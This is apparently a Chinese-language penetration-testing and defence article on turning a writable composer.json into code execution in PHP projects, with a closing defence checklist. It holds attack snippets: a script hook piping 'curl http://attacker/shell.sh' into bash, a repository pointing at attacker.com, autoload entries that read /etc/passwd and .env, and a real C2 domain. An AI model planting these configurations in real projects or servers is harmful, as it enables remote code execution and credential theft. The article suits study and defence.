一、攻击的本质:从配置文件到代码执行
在 PHP 项目中,composer.json 不仅是依赖声明文件,更是 Composer 自动加载机制的核心配置来源。当攻击者获得该文件的写入权限时,实际上获得了在目标服务器上执行任意 PHP 代码的多种路径。
vendor/autoload.php 本身是一个安全的引导文件,每次 composer dump-autoload 都会被重写,本身不包含危险逻辑。但攻击者可以利用 Composer 的各种配置机制,让这个加载过程变为后门入口。
二、autoload.files:最直接的预加载攻击
2.1 攻击原理
autoload.files 是 Composer 中唯一的"预加载"机制。被列入该数组的文件会在每次 require vendor/autoload.php 时无条件执行,不检查类是否存在,不走 PSR-4 规则,纯 PHP 文件直读。
攻击者在 composer.json 中写入:
json
{
"autoload": {
"files": ["themes/demo/assets/js/shell.js"]
}
}
随后运行 composer dump-autoload 重新生成加载器。vendor/autoload.php 将包含:
php
require __DIR__ . '/..' . '/themes/demo/assets/js/shell.js';
2.2 现实案例:Laravel-Lang 供应链攻击
2026 年 5 月,攻击者通过 GitHub 标签重写攻击,篡改了 Laravel-Lang 生态中四个 Composer 包的 233 个版本,注入恶意 src/helpers.php 文件。该恶意文件正是通过 autoload.files 指令实现自动加载,在 Laravel 应用的每个 HTTP 请求中执行。
该恶意文件包含以下特征:
- 伪装成合法的 localization 函数 ,包含
laravel_lang_locale()和laravel_lang_fallback()作为掩护 - 通过字节数组拼接 C2 地址
flipboxstudio[.]info,规避明文扫描 - 使用主机指纹生成标记文件 (基于安装目录、
php_uname('n')、文件 inode 的 MD5),实现单次执行 - 后台下载并执行 stage-two payload ,通过
exec("php ... > /dev/null 2>&1 &")在 Linux/macOS 上静默运行 - 使用
@错误抑制符,确保无警告写入 PHP-FPM 或 error_log
最终 payload 是包含 15 个采集模块的 PHP 凭证窃取器,目标包括云访问密钥、Kubernetes 配置、SSH 私钥、Git 凭证、浏览器密码和加密钱包。
2.3 LFI 组合拳
除直接写入恶意 PHP 代码外,autoload.files 还可用于读取敏感文件:
json
{
"autoload": {
"files": ["/etc/passwd", "/var/www/.env", "../../../.env"]
}
}
通过 require_once 加载已有敏感文件,读取环境变量、APP_KEY、数据库凭证等。常见可读目标包括 .env、.docker/config.json、.npm/package-lock.json 等。
三、脚本 Hooks:Composer 生命周期中的执行点
3.1 可用 Hooks
Composer 在多个生命周期阶段支持执行自定义命令:
json
{
"scripts": {
"pre-autoload-dump": ["php shell.php"],
"post-autoload-dump": ["system('id')"],
"pre-update-cmd": ["curl http://attacker/shell.sh | bash"],
"post-update-cmd": ["python3 -c 'import os;os.system(\"id\")'"]
}
}
触发时机包括任何 composer update 或 composer dump-autoload 操作。
3.2 注意事项
某些 CMS(如 October CMS 4.3.5)的 JSON 验证策略会过滤 scripts 段,导致自定义脚本不生效。此外,config.allow-plugins 策略也会影响脚本执行。
四、命名空间劫持:类加载层面的潜伏攻击
4.1 classmap 劫持
json
{
"autoload": {
"classmap": ["themes/demo/assets/js/"]
}
}
在可控目录下放置同名类文件(如 Illuminate\\Http\\Request.php),若该类未被其他 autoload 注册且被框架实际引用,则可能覆盖框架类。
4.2 PSR-4 空命名空间劫持
json
{
"autoload": {
"psr-4": {
"": "themes/demo/assets/js/"
}
}
}
空命名空间映射到可控目录后,任何未在其他 autoload 中注册但被 require 的类都会从该目录加载。难点在于找到具体可劫持的类。
五、远程包劫持:供应链层面的纵深攻击
5.1 恶意包安装
json
{
"require": {
"attacker/malicious": "1.0.0"
},
"repositories": [
{
"type": "composer",
"url": "http://attacker.com/packagist/"
}
]
}
通过自定义 repositories 指向攻击者控制的 Packagist 镜像,诱导 Composer 安装恶意包。
5.2 Composer Plugin 执行代码
恶意包可通过 composer-plugin 类型在安装过程中执行代码:
json
{
"name": "attacker/malicious",
"version": "1.0.0",
"type": "composer-plugin",
"autoload": {"classmap": ["src/"]}
}
src/Plugin.php 中的 activate() 方法可在 composer install 时被触发。2025 年的攻击趋势中,插件 hook 利用已成为 Composer 生态中最常见的凭据窃取向量。
5.3 依赖混淆攻击
Composer 默认检查 Packagist.org 的行为使攻击者能够在公共仓库上发布与私有包同名的恶意包。当私有包名称未被认领时,Composer 会从公共源拉取攻击者发布的版本并执行其 autoload 代码。
5.4 前提条件
- 靶机需有外网访问能力
- 需要搭建伪造 Packagist 镜像
config.allow-plugins需允许插件安装
六、Composer 自身漏洞:配置文件即攻击面
Composer 自身历史漏洞表明,即使不借助上述机制,恶意 composer.json 也可直接导致代码执行:
| CVE | 描述 | 影响版本 |
|---|---|---|
| CVE-2021-41116 | config.platform 值注入 PHP 代码到 platform_check.php,自动执行 |
< 1.10.26 / < 2.1.9 |
| CVE-2023-43655 | web 可访问的 composer.phar 在 register_argc_argv 启用时可 RCE |
< 2.6.4 / < 2.2.22 / < 1.10.27 |
| CVE-2026-40176 | Perforce VCS 仓库参数命令注入 | 1.0-2.2.26 / 2.3-2.9.5 |
其中 CVE-2026-40176 尤为值得关注:攻击者只需在恶意 composer.json 中声明一个 Perforce VCS 仓库,在 port、user、client 参数中注入 shell 命令,即使 Perforce 未安装也能执行。VCS 仓库仅从根 composer.json 加载,这意味着该漏洞无法通过依赖包的 composer.json 利用,但若攻击者可直接修改项目根目录的配置文件,则风险极高。
七、config 段:权限放行与持久化辅助
json
{
"config": {
"allow-plugins": {"*": true},
"process-timeout": 3600
}
}
allow-plugins设置为true会关闭全部防护,允许任意 Composer 插件在install/update时执行代码。生产环境应使用精确的vendor/name白名单。process-timeout可防止命令执行超时被杀死。
八、攻击路径对照总览
| 手段 | 外网需求 | 可行性 | 复杂度 | 触发时机 |
|---|---|---|---|---|
autoload.files → RCE |
否 | 高 ✓ | ★☆☆ | 任意请求(require autoload.php) |
autoload.files → LFI 读文件 |
否 | 高 ✓ | ★☆☆ | 任意请求 |
autoload.classmap 类劫持 |
否 | 低 | ★★★ | 特定类被引用时 |
autoload.psr-4 命名空间劫持 |
否 | 低 | ★★★ | 特定类被引用时 |
| Composer scripts hooks | 否 | 视配置而定 | ★☆☆ | composer 命令执行时 |
| 远程恶意包劫持 | 是 | 中 | ★★★★ | composer install/update |
| CVE-2021-41116(platform 注入) | 否 | 中 | ★★☆ | 任意请求 |
| CVE-2026-40176(Perforce 注入) | 否 | 中 | ★★☆ | composer 命令执行时 |
九、防御建议
-
严格审计 autoload.files :检查所有
composer.json中的files字段,确保路径指向无副作用的函数/常量定义文件,禁止引入包含eval、system、$_GET/$_POST处理的脚本。 -
生产环境禁用插件 :使用
composer install --no-plugins --no-dev --prefer-dist。 -
插件白名单 :不允许
"allow-plugins": true,应精确到vendor/name。 -
验证 vendor 完整性 :CI 流水线中运行
composer install --dry-run --verbose,比对composer.lock记录的哈希与实际文件。 -
更新 Composer 版本:确保使用最新稳定版本,修复已知 CVE(CVE-2021-41116、CVE-2023-43655、CVE-2026-40176 等)。
-
不将 composer.phar 暴露到 Web :避免
register_argc_argv开启时的 RCE 风险。 -
审计 .env 等敏感文件权限:防止 LFI 组合读取。
-
监控出站流量 :检查对可疑域名的连接(如
flipboxstudio[.]info)。
十、总结
composer.json 可写场景下,攻击面远比表面看起来广阔。从最直接的 autoload.files 预加载 RCE,到复杂的远程包劫持和 Composer 自身漏洞利用,攻击者拥有多层路径实现代码执行。对于实际渗透测试场景,autoload.files 向可写目录注入恶意 PHP 文件是最简单高效的路径------无需外网、无需依赖其他条件、任意请求触发。而对于防御方,关键不在于保护 vendor/autoload.php 本身,而在于对 composer.json 配置变更的严格审计和 Composer 运行环境的权限控制。